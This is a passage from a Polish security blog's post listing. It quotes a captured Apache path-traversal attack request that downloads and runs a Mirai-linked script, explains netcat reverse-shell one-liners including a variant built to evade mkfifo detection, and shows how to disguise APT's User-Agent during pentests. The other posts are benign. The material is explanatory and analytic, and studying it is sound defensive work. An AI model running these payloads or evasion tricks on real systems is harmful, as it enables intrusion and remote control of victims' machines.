W

sieci wciąż krążą automaty szukające podatnych na path traversal oraz zdalne wykonanie poleceń serwerów HTTP Apache. Na przykład z dwóch chińskich adresów IP: 117.184.158.27 oraz 124.165.198.25 możemy zostać uraczeni następującym żądaniem typu POST:

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
accept: */*
host: 1.2.3.4:443
upgrade-insecure-requests: 1
user-agent: Custom-AsyncHttpClient
content-length: 109
content-type: text/plain
x-http-version: 1.1
x-remote-port: 52454
x-forwarded-for: 124.165.198.25
x-untrusted: 1
x-forwarded-proto: https

X=$(curl http://93.123.39.27/jVA.sh || wget http://93.123.39.27/jVA.sh -O-); \
echo \"$X\" | sh -s apache.selfrep

Bułgarski adres IP, na którym jest hostowany ładunek, jest również związany z botnentem Mirai:
[ czytaj całość… ]

J

akiś czas temu dowiedzieliśmy się, że klucze OpenSSH mogą posłużyć do podpisywania plików lub commitów git. Do tego samego celu możemy wykorzystać klucze używane w certyfikatach SSL/TLS (pozyskane z dowolnej strony, która jest dostępna za pomocą protokołu HTTPS). Pierwszym krokiem jest stworzenie pliku z wiadomością:

echo 'TOP Secret Message' > msg.txt

Drugim jest podpisanie pliku za pomocą prywatnego klucza, który znajduje się na serwerze:

openssl dgst -sha256 -sign /etc/apache2/ssl/server.key -out msg.txt.sig msg.txt

Trzecim jest konwersja pliku msg.txt.sig z formatu binarnego do tekstowego używając BASE64:

openssl base64 -in msg.txt.sig -out msg.txt.sig.asc

Jeśli teraz opublikujemy plik z wiadomością msg.txt oraz jego podpis: msg.txt.sig.asc, każdy posiadający dostęp do strony będzie mógł zweryfikować jej autentyczność. W pierwszym kroku użytkownik musi uzyskać klucz publiczny:

openssl s_client -connect nfsec.pl:443 | openssl x509 -pubkey -noout > pubkey.key

Następnie użytkownik musi ponownie zamienić opublikowaną sygnaturę tekstową do formy binarnej:

openssl base64 -d -in msg.txt.sig.asc -out msg.txt.sig

i zweryfikować poprawność wiadomości za pomocą pobranego klucza:

user@user:~$ openssl dgst -keyform pem -verify pubkey.key -signature msg.txt.sig msg.txt
Verified OK

Ale to nie wszystko. Skoro użytkownik może bardzo prosto pozyskać klucz publiczny serwera to jest w stanie szyfrować wiadomości przeznaczone do jego administratora lub właściciela:

openssl pkeyutl -in msg.txt -out to_agresor.enc -pubin -inkey pubkey.key -encrypt

Tak przesłana wiadomość może zostać odczytana za pomocą klucza prywatnego, który został użyty w certyfikacie TLS/SSL danego serwera:

root@stardust:~# openssl pkeyutl -in to_agresor.enc -out msg.txt -inkey \
                 /etc/apache2/ssl/server.key -decrypt
root@stardust:~# cat msg.txt
TOP Secret Message

W ten sposób każdy użytkownik może zaszyfrować wiadomość dla właścicieli swoich ulubionych stron internetowych – nawet jeśli nie publikują one jawnie klucza publicznego.

Więcej informacji: Using HTTPS certificates to sign/encrypt arbitrary data

W

2017 roku Troy Hunt wspomniał we wpisie na blogu o usłudze umożliwiającej sprawdzenie, czy dane / nasze hasło już istnieje pośród 306 milionów haseł, które wyciekły w wyniku naruszeń różnych serwisów. Oczywiście nie zalecano podawania prawdziwego hasła ani nawet hasła w formie zahaszowanej. Rok później Junade Ali z Cloudflare zaproponował bardzo eleganckie rozwiązanie, aby móc wysyłać zapytania do usługi bez ujawniania zbyt wielu informacji.
[ czytaj całość… ]

W

procesie budowy obrazów kontenerów wykorzystywanych do uruchamiania aplikacji lub serwerów najbardziej czasochłonną częścią jest instalacja zależności w postaci paczek systemowych. Proces ten jest z reguły powolny, ponieważ menedżery pakietów są stworzone w taki sposób, aby przedkładać stabilność instalacji nad jej wydajnością. I to ma sens: jeśli podczas instalacji wydarzy się niezapowiedziana awaria zasilania lub zawieszenie procesu, system musi pozostać w stanie nadającym się do użytku. Jednak w przypadku budowania obrazów kontenerów stabilność nie stanowi priorytetu. Jeśli proces instalacji pakietów lub kompilacji źródeł się nie powiedzie – system budujący obraz go odrzuci, zakończy proces błędem i będziemy musieli zacząć od nowa. Dlatego gdybyśmy mogli zasugerować menedżerowi pakietów, że nie przejmujemy się zbytnio integralnością danych, moglibyśmy przyspieszyć nasze kompilacje.
[ czytaj całość… ]

J

eśli kiedykolwiek próbowaliśmy stworzyć reverse shell, czy to za pomocą telnet, czy OpenSSL – prawdopodobnie miały one wspólny układ:

mkfifo /tmp/f; nc 1.2.3.4 31337 </tmp/f | sh >/tmp/f; rm /tmp/f

Na początku tworzony jest nazwany potok FIFO za pomocą polecenia mkfifo w ścieżce /tmp/f. Następnie uruchamiany jest program binarny (tutaj netcat), który pobiera dane wejściowe z tego potoku. Całość danych wyjściowych z programu binarnego jest przekazywana zwykłym potokiem (ang. pipe) do procesu powłoki sh. Wyjście powłoki jest przesyłane z powrotem przez nazwany potok FIFO do wejścia programu binarnego. Gdy program binarny i powłoka sh zakończą swoje działanie, polecenie rm usuwa nazwany potok FIFO w ścieżce /tmp/f.

Plik specjalny FIFO (nazwany potok) jest podobny do zwykłego potoku (|), z wyjątkiem tego, że jest dostępny jako część systemu plików. Może być otwierany przez wiele procesów w celu odczytu i zapisu. Gdy procesy wymieniają dane za pośrednictwem FIFO, jądro przekazuje wszystkie dane wewnętrznie bez zapisywania ich w systemie plików. Tak, więc specjalny plik FIFO nie ma zawartości w systemie plików – wpis w systemie plików służy jedynie jako punkt odniesienia, dzięki czemu procesy mogą uzyskać dostęp do potoku przy użyciu nazwy w systemie plików.

Polecenie mkfifo jest tutaj koniecznie, ponieważ potrzebujemy dwóch kanałów komunikacji: netcat do sh oraz sh do netcat, a potok użyty w powłoce (|) daje tylko jednokierunkowy prymityw. Istnieje wiele wad korzystania z mkfifo. Dość powszechne jest tworzenie reguł wykrywających tego typu ładunki poleceń przez niebieskie zespoły (ang. blue teams). Ponieważ programy binarne są tutaj wymienne (nc, telnet, openssl) włączenie programu mkfifo do sygnału wykrywania odwróconych powłok jest naturalnym krokiem. Poza tym krok czyszczenia (rm /tmp/f) czasami kończy się niepowodzeniem, pozostawiając błędny plik FIFO. Wreszcie – nie zawsze można znaleźć zapisywalne lokalizacje na systemie plików np. gdy procesy uruchomione są w chroot lub kontenerze w trybie tylko do odczytu.

Jak możemy wykluczyć to polecenie? Na przykład tak:

{ nc 1.2.3.4 31337 </dev/fd/3 3>&- | sh >&3 3>&- ; } 3>&1 | :

Tworzymy podpowłokę (ang. subshell) za pomocą { } lub ( ), w której zamykamy kilka poleceń. Dane wyjściowe z tej podpowłoki potokiem przekazujemy do tzw. polecenia NOP (ang. do-nothing operation), czyli dwukropka (:) wcześniej przekierowując dane wyjściowe deskryptora pliku o numerze 3 na standardowe wyjście (3>&1). Wewnątrz podpowłoki program binarny netcat pobiera dane wejściowe z deskryptora pliku o numerze 3 (</dev/fd/3), który następnie jest zamykany (3>&-) – całość danych wyjściowych jest przekazywana potokiem to powłoki sh. Następnie powłoka sh pobiera dane wejściowe z programu binarnego netcat i przekazuje swoje dane wyjściowe ponownie do deskryptora plików numer 3 również go zamykając, aby uniknąć dodatkowych zwisających odwołań do ponownie użytego deskryptora. W ten sposób unikając polecenia mkfifo uzyskaliśmy możliwość odczytu, jak i zapisu do struktury potoku w pamięci systemu Linux.

Więcej informacji: fifo, Something’s special about /dev/fd/3, What does minus mean in “exec 3>&-” and how do I use it?, Czysta funkcja bash do pobierania i uruchamiania ładunków, Linux shellcraft: the pipe trick

O

d strony inżynierii detekcji warto wykrywać różnego rodzaju dziwne nagłówki aplikacji klienckich (ang. User-Agent) w sieci firmowej np. te należące do Kali lub Raspbian. Z kolei od strony ofensywnej czasami może być konieczna zmiana wartości User-Agent, gdy nie chcemy ujawniać, że używamy konkretnej wersji menadżera pakietów APT (ang. Advanced Packaging Tool) np. gdy wykonujemy pentesty w otoczeniu systemów Windows. Domyślnie system Ubuntu używa tej aplikacji klienckiej przy korzystaniu z polecenia apt:

GET /ubuntu/dists/jammy-security/InRelease HTTP/1.1
Host: pl.archive.ubuntu.com
Cache-Control: max-age=0
Accept: text/*
Range: bytes=24857081-
If-Range: Mon, 25 Mar 2024 21:47:13 GMT
User-Agent: Debian APT-HTTP/1.3 (2.4.11) non-interactive

W celu zmiany tej wartości możemy dodać następujący wpis do pliku /etc/apt/apt.conf.d/77user-agent:

Acquire
{
  http::User-Agent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
                    (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36";
};
Acquire::http::User-Agent-Non-Interactive "false";

Pierwszy wpis zmienia wartość Debian APT-HTTP/1.3 (2.4.11) drugi usuwa sufix: non-interactive:

GET /ubuntu/dists/jammy-security/InRelease HTTP/1.1
Host: pl.archive.ubuntu.com
Cache-Control: max-age=0
Accept: text/*
Range: bytes=110351-
If-Range: Tue, 26 Mar 2024 16:42:16 GMT
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 
(KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36

Wartość na którą ustawimy User-Agent powinna odzwierciedlać aktualne wersje przeglądarek – nie ustawiajmy zbyt starych wersji lub platformy (np. mobilnej), która w danej sieci nie będzie miała żadnego sensu. Możemy skorzystać z odpowiedniej strony, aby zapoznać się z bieżącym przykładem swojej przeglądarki. W tak przygotowanym systemie powinniśmy również wyłączyć aktualizowanie pakietów (ręczne i automatyczne), ponieważ monitoring ruchu sieciowego może z łatwością wyłapać trafienia do adresów kali.org oraz raspbian.org.

Więcej informacji: List of User Agents strings, Changing apt’s User-Agent string, Configuration file for APT

Jak wyodrębnić załącznik z przesłanego pliku .eml do analizy?

agresor@soconda:~$ python3 -m venv emls
(emls) agresor@soconda:~$ source emls/bin/activate
(emls) agresor@soconda:~$ pip install eml-extractor
Collecting eml-extractor
  Using cached eml_extractor-0.1.1-py3-none-any.whl.metadata (3.3 kB)
Using cached eml_extractor-0.1.1-py3-none-any.whl (4.7 kB)
Installing collected packages: eml-extractor
Successfully installed eml-extractor-0.1.1

(emls) agresor@soconda:~$ du -k analyze_me.eml
25684	analyze_me.eml

(emls) agresor@soconda:~$ eml-extractor -f analyze_me.eml
PROCESSING FILE "analyze_me.eml"
>> Attachment found: malware_sample.zip
>> Saving attachment to "/home/agresor/Analyze Me/malware_sample.zip"
Done.

(emls) agresor@soconda:~$ du -k Analyze\ Me/malware_sample.zip
18668   Analyze\ Me/malware_sample.zip

Więcej informacji: EML Extractor

P

orządkując akta w archiwum Kosmopolu natrafiłem na starą wytartą teczkę, wypchaną mnóstwem protokołów i fotografii. Może nie zwróciłbym na nią uwagi, gdyby nie to, że rzuciłem okiem do wnętrza i natrafiłem na słowo GRAWAX…

To mi coś przypominało… Nie wiedziałem jednak, z czym powiązać to słowo; dopiero po przejrzeniu kilku stron maszynopisu przypomniałem sobie, że słyszałem je kiedyś na wykładzie starego Barela, który swego czasu wykładał nam Historię Techniki. Instytut Kosmiki ukończyłem jednak na tyle dawno, aby zapomnieć, co to było.

Zacząłem czytać. To już niestety taka moja nieuleczalna wada: kiedy robię porządki w starych szpargałach, kartotekach czy archiwach, wcześniej czy później natrafiam na coś tak bardzo absorbującego, że godzinami siedzę na podłodze wśród rozrzuconych skoroszytów, segregatorów i teczek, aż przeczytam wszystko od “a” do “z”.
[ czytaj całość… ]

W

internecie możemy być właścicielem wielu domen, a w ramach nich rejestrować wiele subdomen. Nasze (sub)domeny mogą być używane do bardzo wielu zastosowań: obsługi strony (aplikacji) internetowej, poczty, serwera plików, serwera DNS, ochrony marki, działalności w wielu krajach itd. Wiele z tych (sub)domen będzie uniwersalna – zawierając pod sobą większość z wymienionych usług, a jeszcze większa ilość (licząc z subdomenami) będzie ukierunkowana na świadczenie konkretnej usługi. Jeśli nasza (sub)domena nie jest przeznaczona do obsługi poczty e-mail, niezależnie od tego, czy jest to poczta przychodząca (chcemy ją odbierać), czy wychodząca (chcemy ją wysyłać), również musimy zadbać o jej prawidłową konfigurację, aby zapobiec wykorzystywaniu tej (sub)domeny do nieuczciwych działań w internecie (czyt. podszywaniu się i wysyłaniu phishingu).
[ czytaj całość… ]

K

ontynuując naszą serię Necronomicon zajmiemy się dzisiaj publicznymi wiaderkami danych, które są umieszczone w chmurze. Bardzo wiele firm i prywatnych osób nadal przeprowadza adopcję chmury publicznej, której flagową usługą jest możliwość taniego przechowywania plików różnej maści. Mimo wielu badań, opracowań i raportów niewielu z tych adeptów zdaje sobie sprawę, że gdy tylko zdecydują się na ustawienie (świadomie lub nie) publicznego dostępu do dowolnego wiaderka (ang. bucket) istnieje duże prawdopodobieństwo, że ich nazwy zostaną odgadnięte, a dane zindeksowane oraz wystawione innym użytkownikom do łatwego przeszukiwania i pobierania. 24 września 2023 roku wyszukiwarka GrayHatWarfare przyznała, że jej baza danych zawiera 416.712 różnych wiaderek danych, 316.00 z S3, 6800.000 z DigitalOcean, 44000 z Google oraz 49.900 otwartych kontenerów z Azure, co daje łącznie 10,4 miliarda publicznie dostępnych plików. Patrząc z perspektywy bezpieczeństwa te wszystkie publiczne magazyny danych zawierają wiele szalonych rzeczy: pliki PST (które można zaimportować do programu Outlook, jako kompletne skrzynki e-mail); paszporty (których zapisywanie jest nielegalne w kilku krajach); certyfikaty urodzin; numery ubezpieczenia społecznego z USA; recepty oraz dane medyczne; rachunki i dane klientów; polisy ubezpieczeniowe; klucze licencyjne; dane dostępowe; klucze dostępowe; tokeny; certyfikaty TLS; pliki konfiguracyjne do narzędzi: WinSCP, FileZilla, Sublime, Menedżery haseł, VPN, Gitlab; Pliki konfiguracyjne PHP…
[ czytaj całość… ]